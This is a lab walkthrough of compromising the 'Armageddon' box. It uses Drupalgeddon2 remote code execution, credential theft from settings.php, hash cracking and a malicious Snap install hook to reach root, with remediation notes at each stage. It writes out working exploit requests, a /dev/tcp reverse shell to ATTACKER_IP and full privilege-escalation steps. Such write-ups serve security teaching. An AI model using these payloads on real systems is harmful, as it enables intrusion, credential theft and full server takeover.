Armageddon
Summary
The target web server hosted an unpatched Drupal 7 CMS susceptible to CVE-2018-7600 (Drupalgeddon2), which let me execute operating-system commands without any credentials whatsoever. Through that foothold as the Apache web service account, I read the Drupal configuration file — which stores the database password in plain text — and queried the local MySQL database to extract the site administrator's password hash.
The hash cracked in seconds: the administrator had chosen the trivially guessable password and reused it as their Linux system account password, giving me immediate SSH access and the user flag. Finally, a dangerously broad sudo rule allowed that user account to install Snap packages as root with no password; I crafted a malicious Snap whose install hook copied a SUID-root Bash binary, achieving full root control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Enumerate running services and their software versions.
$ nmap -Pn -sV -p 22,80 $TARGETConfirm the Drupal version without authentication — CHANGELOG.txt is world-readable by default in Drupal 7.
$ curl -s http://$TARGET/CHANGELOG.txt | head -10Exact commands 3
$ curl -s -X POST "http://$TARGET/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=whoami%3Bid" --data 'form_id=user_pass&_triggering_element_name=name'Start a reverse-shell listener on my machine before sending the shell payload.
$ nc -lvnp 4444Trigger a reverse shell connecting back to the listener; replace $ATTACKER_IP with your machine's address.
$ curl -s -X POST "http://$TARGET/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2FATTACKER_IP%2F4444+0%3E%261%27" --data 'form_id=user_pass&_triggering_element_name=name'FixPatch Drupal immediately to close the Drupalgeddon2 remote code execution vulnerabilityCritical
Exact commands 2
Read settings.php through the RCE primitive — reveals the drupaluser database credentials in plain text.
$ curl -s -X POST "http://$TARGET/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=cat+/var/www/html/sites/default/settings.php" --data 'form_id=user_pass&_triggering_element_name=name'From the apache reverse shell: authenticate to the local MySQL instance and dump the Drupal user password hashes.
$ mysql -u drupaluser -p"$PASSWORD" drupal -e 'SELECT uid, name, pass FROM users;'Exact commands 3
Save the captured Drupal7 hash to a local file on my machine.
$ echo "$HASH" > drupal_hash.txtRun John the Ripper against the hash using the RockYou wordlist.
$ john --wordlist=/usr/share/wordlists/rockyou.txt drupal_hash.txtDisplay the cracked result: brucetherealadmin's password.
$ john --show drupal_hash.txtFixEnforce strong unique passwords and disable password-based SSH login for system accountsHigh
Exact commands 1
Log in with the cracked password — confirms brucetherealadmin identity and captures <user.txt>.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 brucetherealadmin@$TARGET 'whoami; id; cat /home/brucetherealadmin/user.txt'Exact commands 7
Confirm the dangerous rule: (root) NOPASSWD: /usr/bin/snap install
$ sudo -lCreate a temporary working directory for the malicious snap structure.
$ work=$(mktemp -d) && mkdir -p "$work/snap/meta/hooks"Write the snap manifest — devmode confinement bypasses snap security policies.
$ cat > "$work/snap/meta/snap.yaml" <<'EOF'
name: armroot3
version: '1.0'
summary: armroot3
description: armroot3
grade: devel
confinement: devmode
EOFWrite the install hook — this script will run as root and plant a SUID bash copy.
$ printf '#!/bin/sh\ncp /bin/bash /home/brucetherealadmin/rootbash\nchmod 4755 /home/brucetherealadmin/rootbash\n' > "$work/snap/meta/hooks/install" && chmod +x "$work/snap/meta/hooks/install"Package the snap directory into a squashfs-based .snap archive.
$ cd "$work" && mksquashfs snap armroot3_1.0_all.snap -noappend -comp xzInstall the malicious snap as root — triggers the install hook and creates the SUID binary.
$ sudo snap install --devmode "$work/armroot3_1.0_all.snap"Execute the SUID bash with -p to retain effective-root privileges; captures <root.txt>.
$ /home/brucetherealadmin/rootbash -p -c 'id; cat /root/root.txt'FixRemove the unrestricted 'sudo snap install' privilege from all non-root accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.4 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.